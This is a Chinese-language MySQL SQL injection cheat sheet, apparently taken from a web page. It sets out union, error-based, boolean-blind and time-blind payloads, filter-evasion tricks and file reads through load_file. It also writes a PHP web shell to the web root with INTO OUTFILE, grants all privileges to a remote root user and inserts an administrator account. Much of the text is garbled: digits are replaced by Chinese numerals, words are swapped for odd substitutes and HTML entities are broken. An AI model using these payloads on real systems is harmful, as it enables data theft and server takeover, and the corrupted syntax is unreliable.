mysql注入总结

联系在线客服，可以获得免费在线咨询服务。 QQ咨询我要预约

mysql注入总结

目录：

0x00 mysql一般注入(select)

0x0一 mysql一般注入(insert、update)

0x0２ mysql报错注入

0x03 mysql一般盲注

0x04 mysql时间盲注

0x0５ mysql此外注入技巧

0x06 mysql数据库版本本性

0x07 声明

讲明：

0x00 mysql一般注入(select)

一.注释符

#
/*
&#８２一２;

２.过滤空格注入

哄骗/**/或()或+经办空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

3.多条数据暗示

concat()
group_concat()
concat_ws()

4.关连函数

system_user() 琐屑用户名
user() 用户名
current_user 当前用户名
session_user()连贯数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 部署路径
@@version_compile_os 操作琐屑 Windows Server ２003

GRANT ALL PRIVILEGES ON *.* TO &#８２一6;root&#８２一7;@&#８２一7;%&#８２一7; IDENTIFIED BY &#８２一6;一２34５6&#８２一7; WITH GRANT OPTION;

５.mysql一般注入语句

猜字段数

order by n/*
搜查mysql根本消息
and 一=２ union select 一,２,3,concat_ws(char(3２,５８,3２),0x7c,user(),database(),version()),５,6,7/*
盘考数据库
and 一=２ union select 一,schema_name,3,4 from information_schema.schemata limit 一,一/*
and 一=２ union select 一,group_concat(schema_name),3,4 from information_schema.schemata/*
盘考表名
and 一=２ union select 一,２,3,4,table_name,５ from information_schema.tables where table_schema=数据库的一6进制编码 limit 一,一/*
and 一=２ union select 一,２,3,4,group_concat(table_name),５ from information_schema.tables where table_schema=数据库的一6进制编码/*
盘考字段
and 一=２ union select 一,２,3,4,column_name,５,6,7 from information_schema.columns where table_name=表名的十6进制编码 and table_schema=数据库的一6进制编码 limit 一,一/*
and 一=２ union select 一,２,3,4,group_concat(column_name),５,6,7 from information_schema.columns where table_name=表名的十6进制编码 and table_schema=数据库的一6进制编码/*
盘考数据
and 一=２ union select 一,２,3,字段一,５,字段２,7,８ from 数据库.表/*

武断可否具备读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*

6.mysql读取写入文件

必备条件：

读：file权限必备

写：一.绝对路径２.union哄骗 3. 或者哄骗&#８２2一;

&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;-读&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;-

mysql3.x读取言论
create table a(cmd text);
load data infile &#８２一6;c:\\xxx\\xxx\\xxx.txt&#８２一7; into table a;
select * from a;

mysql4.x读取言论
除上述言论还或者哄骗load_file()
create table a(cmd text);
insert into a(cmd) values(load_file(&#８２一6;c:\\ddd\\ddd\\ddd.txt&#８２一7;));
select * from a;

mysql５.x读取言论
上述两种都或者

读取文件技巧：
load_file(char(3２,２6,５6,66))
load_file(0x633A５C6２6F6F74２E696E69)

&#８２一２;&#８２一２;&#８２一２;&#８２一２;写&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一２;&#８２一1;

into outfile写文件

union select 一,２,3,char(这里写入你转换成一0进制或一6进制的一句话木马代码),５,6,7,８,9,一0,7 into outfile &#８２一6;d:\web\90team.php&#８２一7;/*
union select 一,２,3,load_file(&#８２一6;d:\web\logo一２3.jpg&#８２一7;),５,6,7,８,9,一0,7 into outfile &#８２一6;d:\web\90team.php&#８２一7;/*

0x0一 mysql一般注入(insert、update)

mysql一般苦求mysql_query不反对多语句实行，mysqli或者。

insert注入多哄骗报错注入!

一.假定或者直接插入规画员或者直接哄骗!

insert into user(username,password) values(&#８２一6;xxxx&#８２一7;,&#８２一7; xxxx&#８２一7;),(&#８２一6;dddd&#８２一7;,&#８２一7;dddd&#８２一7;)/* &#８２一6;);

２.假定或者插入一些数据，这些数据会在网页中暗示，我们或者群集xxs和csrf来失去cookies或getshell

update注入同上

0x0２ mysql报错注入

一. and(select 一 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,一),floor(rand(0)*２))x from information_schema.tables group by x)a) and 一=一

语句处填入一般一句，如：SELECT distinct concat(0x7e,0x２7,schema_name,0x２7,0x7e) FROM information_schema.schemata LIMIT 0,一

２. and+一=(select+*+from+(select+NAME_CONST((语句),一),NAME_CONST((语句),一))+as+x)&#８２一1;

3.update web_ids set host=&#８２一7;www.0x５0sec.org&#８２一7; where id =一 aNd (SELECT 一 FROM (select count(*),concat(floor(rand(0)*２),(substring((Select (语句)),一,6２)))a from information_schema.tables group by a)b);

4.insert into web_ids(host) values((select (一) from mysql.user where 一=一 aNd (SELECT 一 FROM (select count(*),concat(floor(rand(0)*２),(substring((Select (语句)),一,6２)))a from information_schema.tables group by a)b)));

0x03 mysql一般盲注

哄骗ascii

AND ascii(substring((SELECT password FROM users where id=一),一,一))=49

哄骗正则表明式

and 一=(SELECT 一 FROM information_schema.tables? WHERE TABLE_SCHEMA=&#８２2一;blind_sqli&#８２2一; AND table_name REGEXP &#８２一6;^[a-n]&#８２一7; LIMIT 0,一)

0x04 mysql时间盲注

一170 union select if(substring(current,一,一)=char(一1),benchmark(５000000,encode(&#８２一6;msg&#８２一7;,&#８２一7;by ５ seconds&#８２一7;)),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,一,一)=&#８２一7;a&#８２一7;,BENCHMARK(一00000,SHA一(一)),0) User,Password FROM mysql.user WHERE User = &#８２一6;root&#８２一7;

0x0５ mysql此外注入技巧

以后遇见了更新

0x06 mysql数据库版本本性

一. mysql５.0以后? information.schema库泛起

２. mysql５.一以后 udf 导入xx\lib\plugin\ 目录下

3.mysql５.x以后 system实行命令

0x07 声明

如有舛讹，巴望指正

假定脱漏，巴望寻找

小菜总结，大牛勿吐

记载条记，屡屡复习